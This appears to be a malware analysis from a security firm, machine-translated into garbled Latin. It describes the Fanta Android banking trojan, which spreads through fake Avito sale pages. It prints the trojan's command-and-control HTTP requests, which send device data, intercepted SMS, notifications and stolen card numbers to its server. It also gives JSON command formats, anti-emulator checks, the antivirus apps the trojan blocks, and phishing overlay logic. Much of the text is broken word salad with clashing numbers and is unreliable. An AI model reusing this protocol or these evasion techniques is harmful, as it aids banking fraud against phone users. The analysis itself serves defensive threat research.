Olim aliquid in Avito vendere vis et, cum accuratam descriptionem operis tui (exempli, RAM moduli) dispositis, sequentem nuntium accipies:
Cum nexum aperueris, paginam innoxiam videbis te certiorem, faustum ac felix venditorem, emptionem tuam factam esse;
Cum tesseram "Perge" coniuctionis, fasciculus APK ad MASCULINUS fabricam cum icone et nomine fideli mittetur. Applicationem instituisti, quae ob aliquam causam servitii iura Accessibility postulavit, deinde duae fenestrae apparuerunt et cito disparuerunt et ... Id est.
Tu ad stateram tuam reprimendam, sed aliqua de causa tua argentaria applicationis singula scheda tua iterum petit. Post datam introitum res atrox fit: aliqua de causa, quae tibi adhuc incomprehensibilis est, pecunia a ratione tua evanescere incipit. Quaestionem figere conaris, sed telephonicus resistit: tergum ac domum claves per se premit, non arcet nec te ullum mensurae securitatis movere permittit. Quam ob rem sine argento relinquis, tuum opus non emitur, confusus es et admiraris: quid accidit?
Responsio simplex est: victima es Fanta Android troiae, familiae Flexnet. Qui factum? Nunc explicemus.
auctores: Andreas Polovinkin, Junior Code Analyst . Ioannes Pisarev, Malignus Codex Analyst.
quidam statistics
Familia Flexnet Troianorum Android primum relata est anno MMXV. Familia per longum spatium activitatis in plures species dilatavit: Fanta, Limebot, Liptonis, etc. Troianus, sicut et infrastructura cum ea coniungitur, non stat: novae technae effectivae distributionis augentur - in casu nostro, paginae phishing altae, quae ad certum usorem vendentis spectant, et tincidunt Troiani modos trends sequuntur. Virus scribens - novas functiones addunt quae efficit ut efficacius pecuniam ab infectis machinis surripiat et machinationes tutelae praetermittant.
Expeditio in hoc articulo descripta ad usores Russiae spectat, paucitas machinarum infectarum in Ucraina commemorata sunt, et etiam pauciores in Kazakhstan et Belarus.
Etsi Flexnet in arena Troiana Android plus 4 annis fuit et a multis investigatoribus late quaesita est, adhuc forma bona est. Proficiscens a Ianuario MMXIX, copia damni potentiale plus quam 2019 decies centena milia rublorum est - et hoc solum pro expeditionibus in Russia. Anno 35, variae versiones huius Android Troiani in foro subterraneo venditae sunt, ubi etiam fontem codicem Troianum invenire potuisti cum accuratiore descriptione. Et hoc significat quod statistica damni in mundo magis infigo est. Annon hoc seni deprauatum est?
De sale ad scam
Ut videri potest e pagina ante televisifica phishing sub interretiali servitio ad tabulas Avito collocandas, ad certam victimam parata est. Ut videtur, oppugnatores una cum factione Avito utuntur, extrahentes numerum telephonicum et nomen venditoris, necnon descriptionem operis. Explicata pagina et APK lima parat, nuntius SMS nuntius mittitur ad victimam nomine suo et nexum paginae hamatae continens descriptionem sui operis et quantitatem a "venditionis" producti acceptam. Strepitando in puga pyga, usor file malignum accipit APK - Fanta.
Studium shcet491 [ ] ru domain ostendit delegatum esse servientibus DNS Hostinger :
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
Fasciculus domain zonam continet introitus ad IP inscriptiones 31.220.23[.]236, 31.220.23[.]243, 31.220.23[.]235. Autem, dominus domicilii recordum resource (A-record) servo demonstrat cum inscriptione IP 178.132.1[.]240.
IP oratio 178.132.1[.]240 in Belgio sita est et ad hospitem pertinet orbis terrarum stream. IP inscriptiones 31.220.23[.]235, 31.220.23[.]236 et 31.220.23[.]243 in Britannia sita sunt et ad communem hospitem HOSTINGER pertinent. Usus est ut registrarium openprov-ru. Dominia etiam ad IP adscriptionem 178.132.1[.]240;
- sdelka-ru[.]ru
- product-av[]ru
- av-product[.]ru
- en-deal[.]en
- shcet382[.]ru
- sdelka221[.]en
- sdelka211[.]en
- vyplata437[.]ru
- viplata291[.]en
- translation273[.]en
- translation901[.]en
Animadvertendum est nexus formae sequentis omnibus fere ditionibus praesto fuisse:
http://(www.){0,1}<%domain%>/[0-9]{7}
Formulae huius etiam nexum e nuntio SMS comprehendit. Iuxta notitia historica, deprehensum est plures nexus secundum superius exemplar uni ditione respondere, quod indicat usum unius ditionis ad plures victimas Troianas distribuendas.
Praegrediamur paulum: tamquam imperium server, Troianus e nexu ex SMS electronico utitur onuseseddohap[.] club. Haec regio in 2019-03-12 relatus est, et ab 2019-04-29 incipiens, applicationes APK cum hac provincia interacte. Fundata notitia ex VirusTotal impetrata, summa centum centum applicationum cum hoc servo interact. Ipsa regio domain IP oratio destinata est 217.23.14[.]27in Belgio sita et ab hospite orbis terrarum stream. Usus est ut registrarium namecheap. Dominia etiam huic IP inscriptioni placuerunt bad-racoon[.] club (incipiens a 2018-09-25) et bad-racoon [.] live (incipiens a 2018-10-25). cum domain bad-racoon[.] club plus quam LXXX APK files interacted, cum bad-racoon [.] live — C quam.
Fere vero impetus talis est;
Quid Fanta sub operculo habet?
Sicut multi alii MAS Troiani, Fanta legere potest et nuntios SMS mittere, petitiones USSD facere, suasque fenestras super applicationibus (inclusas argentariis) ostendere. Tamen in armamentario functionis huius familiae pervenit: Fanta uti coepit Accessibility Service ad varios usus: lectione contenta notificationes aliarum applicationum, ne deprehendatur et desinat executioni Troiani in fabrica infecta, etc. Fanta operatur in omnibus MASCULIS versionibus vetustiores quam 4.4. In hoc articulo, propius inspiciamus sequentem Specimen Fanta:
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Statim post Lorem
Continuo deducunt Tros iconem. Applicatio solum operari potest, si nomen machinae infectae in indice non est:
- android_x86
- VirtualBox
- Nexus 5X(bullhead)
- Nexus 5(razor)
Hoc perscriptio fiat in pelagus servitium Troianum - MainService. In prima launch, parametri applicationis conformatio cum valoribus defaultis (de forma configura notitia repono et eorum significatio postea dicetur), necnon adnotationem novi artificii infecti in dicione servientis. An HTTP Post petitionem mittetur in calculonis servi cum verbo generis register_bot et informationes de fabrica infecta (versio Android, IMEI, numerus telephonicus, nomen operantis et signum regionis in qua auctor relatus est). Oratio adhibetur ut procuratio servo hXXp://onuseseddohap[.]club/controller.php. Responsum est, servo mittit nuntios in quibus agris bot_id, bot_pwd, Server - hi valores per applicationem parametri CnC servientis salvantur. Parameter Server ad libitum si ager non recipitur: Fanta utitur in adnotatione electronica hXXp://onuseseddohap[.]club/controller.php. Munus mutandi CnC inscriptionis ad duas difficultates solvendas adhiberi potest: sarcinam aequaliter distribuere inter plures ministros (cum numerus infectis machinis, onus in servientis telae inoptimizatae altum esse potest), ac etiam alterutro utendum. server in the event of a failure of one of the CnC servers.
Si error incidit dum petitionem mittens, Troianus processus adnotationes post XX secundis repetet.
Post feliciter fabrica perscriptum, Fanta nuntium sequentem usoris ostendet:
Maximus nota: officium vocatur ratio Security - nomen muneris Troiani, et strepitando in puga Bene fenestra cum accessibilitas machinae infectae aperiet, ubi usor se dare debet accessibilitatem iura pro maleficio serviendi:
Cum in user volvitur Accessibility Service, fanta aditus ad contenta applicationis fenestras et actiones in eis agenda;
Statim, obtenta accessibilitate iuribus, Troianis petit administratorem iura et iura notificationes legere:
Auxiliante AccessibilityService, applicatio keystros simulat, se omnia iura necessaria concedens.
Fanta varia exempla datorum datorum (de quibus postea dicetur) necessaria ad notitias conformationis servandas, necnon informationes de fabrica infecta in processu collectas. Ut notitias collectas mitteret, Troianus frequentissimum munus designatum ex datorum exonerare agros et imperium a servo imperare accipere. Intervallum vocandi CnC positum est secundum versionem Android: in casu 5.1, intervallum erit 10 secundis, secus 60 secundis.
Ad mandatum recipiendum, Fanta rogat GetTask ad imperium servo. Respondens CnC unum ex hisce mandatis mittere potest;
| bigas | Description |
|---|---|
| 0 | Mitte SMS nuntius |
| 1 | Fac phone vocatio vel USSD imperium |
| 2 | Renovat parametri spatium |
| 3 | Renovat parametri Lentem intercipias; |
| 6 | Renovat parametri smsManager |
| 9 | Satus colligendis nuntiis SMS |
| 11 | Reset phone ad officinam occasus |
| 12 | Enabling / inactivare colligationem creaturae alternis cistas |
Fanta etiam notificationes ex 70 argentariis, ieiuniis solutionibus et applicationibus electronicis colligit et in datorum thesauris reponit.
Repono de configuratione parametri
Ad parametri configurationem condo, Fanta vexillum accedens pro suggestu Android utitur Praeferentiae-files. Occasus salvus erit ad limam nominatam occasus. Descriptio parametri servati est in tabula infra.
| nomine | Default valorem | Values possibilia | Description |
|---|---|---|---|
| id | 0 | Integer | Bot ID |
| Server | hXXp://onuseseddohap[.]club/ | URL | Procuratio servo electronica |
| pwd | - | Gloria | Servo password |
| spatium | 20 | Integer | Tempus interuallum. Ostendit quousque sequentia opera morentur;
|
| Lentem intercipias; | omnes | omnes / telNumber | Si ager aequalis filo omnes aut telNumber, nuntius SMS acceptus applicatione intercipietur nec usori exhibetur |
| smsManager | 0 | 0/1 | Admitte / disable applicationem sicut default SMS recipient |
| readDialog | falsum, | Verum falsum | Admitte / inactivare res logging AccessibilityEvent |
Fanta etiam utitur tabella smsManager:
| nomine | Default valorem | Values possibilia | Description |
|---|---|---|---|
| pckg | - | Gloria | Nomen SMS procurator usus est |
Database commercium
Trojanus duobus database utitur in operatione sua. Nomen database a usus est ad varias informationes collectas ex telephonum. Secundum database nominatur fanta.db et adhibetur occasus servare responsales ad fenestras hamatas creandas destinati ad informationes colligendas de chartis argentariis.
Trojano utitur database а condere collectas notitias et factas log. Data reponitur in mensa omnia. Sequentia SQL quaesitum est ad mensam creandam:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)Database haec informationes continet:
1. Logging infectis machinam in cum nuntio Phone conversus in!
2. Notificaciones ab applicationibus. Haec epistula formatur ex sequenti template:
(<%App Name%>)<%Title%>: <%Notification text%>
3. Carda syngraphae data e formis phishing Troianis creatis. Parameter VIEW_NAME potest unum esse album;
- AliExpress
- avito
- Google Play
- Miscellaneous <%App Name%>
Haec epistula in forma initium est:
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
4. Reditus / exitus SMS nuntia in forma:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>
5. Informationes de sarcina quae alternis buxum in forma creat:
(<%Package name%>)<%Package information%>
Exemplum mensa omnia:
Una functionum Fantae est collectio notitiarum circa chartas riparias. Data colligitur per fenestras hamatas creando cum applicationes argentariae aperientes. semel tantum fenestram hamatam creat Troianus. Delationes fenestrae usori ostensae sunt in tabula repositae occasus In database fanta.db. Sequentia SQL quaesitum est ad creandum database:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);Omnes mensam agri occasus initialized ad I (hishing fenestra creo) per defaltam. Post eorum notitia utentis intrat, valor ponetur ad exemplum agrorum 1. Tabulae occasus:
- can_login - ager est reus ad ostentandam formam aperientes fretus application
- first_bank - non usi
- can_avito - campus est responsabilis ad formandam exhibendam cum applicatione Avito aperiendo
- can_ali - ager reus est formam ostentandi cum applicatione Aliexpress aperiens
- can_another - ager pertinet ad formam exhibendam, cum omnem applicationem e indice aperiens: Yula, Pandao, Drome Auto, Wallet. Discounting and bonus cards, Aviasales, Cras, Trivago
- can_card - ager est reus ad exhibendam formam cum foramen Google Play
Commercium cum potestate servo
Network commercium cum servo potestate fit per protocollum HTTP. Fanta populari Retrofit bibliotheca utitur ad ornatum operandum. Petitiones missi sunt hXXp://onuseseddohap[.]club/controller.php. Inscriptio inscriptionem mutari potest cum perscriptum in calculonis. Crustulum a servo reddi potest. Fanta sequentes postulat servo:
- Bot adnotatione de potestate servo semel in primo initio occurrit. Sequentia notitia de fabrica infectis servo mittitur:
· Quisque - crustula a servo accepta (default pretii filum inane est)
· modum - chorda constante register_bot
· praefigunt - integer constant 2
· version_sdk — Formatur se- cundum exemplum sequentis; <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
· imei - IMEI de infectis fabrica
· patriam - codicem villae in qua auctor relatus est, in ISO format
· numerus - Numerus telephonicus
· operator - nomen operatorExemplum petendi misso servo:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>Ad petitionem responsionis, servo reddere debet JSON obiectum continens ambitum sequentes:
bot_id — identifier de fabrica infecta. Si bot_id 0 aequalis est, Fanta petitionem re- facient.
bot_pwd — password pro servo.
server - oratio de servo potestate. Modus libitum. Si modulus non specificatur, oratio in applicatione servata adhibebitur.JSON objecit exemplum;
{ "response":[ { "bot_id": <%BOT_ID%>, "bot_pwd": <%BOT_PWD%>, "server": <%SERVER%> } ], "status":"ok" }
- Peto ut mandatum a servo recipias. Sequentia data est in calculonis servi;
· Quisque - crustulum accepi a servo
· bid - Id de fabrica infecta, quod receptum est cum mittens petitionem register_bot
· pwd -password pro servo
· dive_admin - Agrum decernit utrum administratoribus ius habitis. Si magistratus habitis iuribus, ager = 1, secus 0
· accessibility - Status servitii Accessibility. Si officium incepit, valor est 1, secus 0
· SMSManager - ostendit si Troianus sit potens sicut default application ad recipiendum SMS
· Screen - ostendit quid status in screen est. valorem et profectus est 1si in screen est, secus 0;Exemplum petendi misso servo:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>Secundum mandatum, server objectum JSON cum diversis parametris reddere potest;
· bigas Mitte SMS nuntius: Parametri continent numerum telephonicum, textum nuntii SMS ac nuntii identificantis mittendi. Identifier adhibetur, cum mittit ad servo cum type setSmsStatus.
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }· bigas Fac phone vocatio vel USSD imperium: Numerus telephonicus vel mandatum venit in corpus responsionis.
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }· bigas Mutare spatium parametri.
{ "response": [ { "mode": 2, "interval": <%SECONDS%> } ], "status":"ok" }· bigas Mutare intercipiendi parametri.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/<%ANY_STRING%> } ], "status":"ok" }· bigas Mutatio SmsManager agri.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }· bigas Oratio SMS nuntiis ex infecta fabrica.
{ "response": [ { "mode": 9 } ], "status":"ok" }· bigas Reset phone ad officinam occasus:
{ "response": [ { "mode": 11 } ], "status":"ok" }· bigas Mutatio ReadDialog occasum.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- Mittens nuntium ad genus setSmsStatus. Hoc postulatum fit post mandatum execution Mitte SMS nuntius. Rogatio similis est:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>- Subiecti contenta datorum. Una chorda per petitionem transfertur. Sequentia data est in calculonis servi;
· Quisque - crustulum accepi a servo
· modum - chorda constante setSaveInboxSms
· bid - Id de fabrica infecta, quod receptum est cum mittens petitionem register_bot
· text - text in current database record (agri d de mensa omnia In database а)
· numerus - nomen hodiernae database record (agri p de mensa omnia In database а)
· sms_mode - integer valorem (agro m de mensa omnia In database а)Rogatio similis est:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>Prospera servienti obsequia, ordo e mensa tolletur. Exemplum de JSON res rediit a servo:
{ "response":[], "status":"ok" }
Commercium cum AccessibilityService
AccessibilityService effectum est ut facilius homines cum defectibus MASCULINUS technis uterentur. Pleraque corporis commercium cum applicatione requiritur. AccessibilityService allows you to make them programmatically. Fanta ministerio utitur ad fenestras fictas in applicationibus argentariis conficiendis et ne systema occasus et aliquas applicationes ab aperiendo.
Monitores Troiani utentes functioni AccessibilityService mutat ad elementa in velo fabricae infectae. Ut ante dictum est, occasus Fanta continetur modulo responsabilium operationum cum alternis capsulis - readDialog. Si haec optio posita est, informationes de nomine et descriptione sarcinae quae res accensus datorum apponetur. Troianus actiones sequentes agit, cum certe utitur;
- Simulat et domum keystrokes in casu:
· si user velit reboot eorum machinam
· si user vult delere "Avito" applicationem vel accessum ius mutare
· si mentio habetur "Avito" applicationis in pagina
· Cum aperire "Google Play Protect" app
· Cum aperire paginas cum AccessibilityService occasus
· Cum Ratio Securitatis alternis buxum videtur
· aperiens pagina cum occasus "Ite in aliis app"
· cum paginam "Applicationes", "Tergum et Reset", "Data Reset", "Optiones Reset", "Developer Panel", "Spec. occasiones, "Accessabilitas", "Iura specialia";
· si id ex quibusdam medicamentis generatur.Applicationem album
- Android
- Magister Lite
- Magister clean
- Mundus Magister pro x86 CPU
- Meizu Application Permission Management
- MIUI Securitatis
- Clean Master - Antivirus & Cache & Junk Cleaner
- Parentum imperium et GPS: Kaspersky SafeKids
- Kaspersky Antivirus AppLock & Web Security Beta
- Virus Cleaner, Antivirus, Cleaner (MAX Security)
- Mobile AntiVirus Securitatis PRO
- Antivirus anti virus libero & tutela MMXX
- Mobile Securitatis MegaFon
- AVG Tutela pro Xperia
- Mobile Securitatis
- Malwarebytes anti virus & praesidium
- Antivirus pro Android MMXIX
- Magister Securitatis - Antivirus, VPN, AppLock, Booster
- AVG antivirus tabulae Huawei Ratio Procurator
- Samsung Accessibility
- Samsung Smert Procurator
- Magister Security
- celeritate Booster
- dr.web *
- Tractus Dr.Web Security
- Dr.Web Mobile Control Center
- Dr.Web Securitatis Space Vita
- Dr.Web Mobile Control Center
- & Antivirus Mobile Security
- Corel Securitatis: Antivirus atque tutelam &
- Kaspersky Pugna Vita: Saver & Booster
- Kaspersky Endpoint Securitatis - tutela et procuratio
- AVG Antivirus MMXX liber - tutelam Android
- Android Antivirus
- Norton Antivirus et Mobile Security
- Antivirus, murus, VPN, securitas mobile
- Mobile Security: Antivirus, VPN, Anti-Furtum
- Antivirus pro Android
- Si permissio postulatur, cum SMS nuntium mittit ad brevem numerum, Fanta strepitando simulat Memento electionis ac button mittere.
- Cum administratorem iura a Troianis auferre conaris, telephonum velamentum impedit.
- Prohibet novos administratores accedere.
- Si antivirus application dr.web * deprehensa comminatio, Fanta simulat urgeat puga ignore.
- Troius simulat instans dorsum et domum suam, si res per applicationem generata est Samsung Tutela Fabrica.
- Fanta hamatas fenestras cum formis ad informationes de pectoribus argentariis ineundis creat, si applicatio e numero circiter 30 diversarum interretialium officiorum educitur. Inter eos: AliExpress, Cras, Avito, Google Play Market Component, Pandao, Drome Auto, etc.
Phishing Formae
Fanta analyses quae applicationes currunt in fabrica infecta. Si applicatio usurae aperta est, Troianus fenestram phialam ostendit super omnes alios, quae forma est ad informationem de cardo argentariis ingrediendi. Usoris intrare debet sequenti notitia:
- Numerus chartulae electronicae
- Card exire diem
- CVV
- Nomen Cardholder (non omnibus ripis)
Secundum applicationis cursus, fenestrae hamatae diversae ostendentur. Quarumdam earum sunt exempla;
AliExpress:
Avto:
Nam quaedam alia similia Google Play Market, Aviasales, Pandao, Cras, Trivago:
Quomodo vere fuit
Fortunate ille qui nuntium SMS accepit de quo in principio articuli evasit ut artifex cybersecuritas. Ergo versio realis non-directoris differt ab eo quod antea dixit: persona interesting SMS accepit, post quam dedit turmae Intelligentiae Group-IB comminatio Venationis. Effectus oppugnationis est articulus iste. Felix finis, vox? Sed non omnes fabulae ita bene finiunt, et ut tuum non tamquam amissionem pecuniae a rectore incisam videas, in pluribus satis est adhaerere sequentibus regulis longis descriptae;
- Noli install apps pro MASCULINUS adinventionem mobilem tuam ex alio fonte quam Google Play
- cum applicatione inaugurari, sedulo attentionem iurium applicationis petitorum
- intende extensiones de uploaded files
- install Android OS updates regularly
- noli visitare suspecta facultates nec download files inde
- Noli deprimere nexus in SMS nuntiis acceptis.
Source: www.habr.com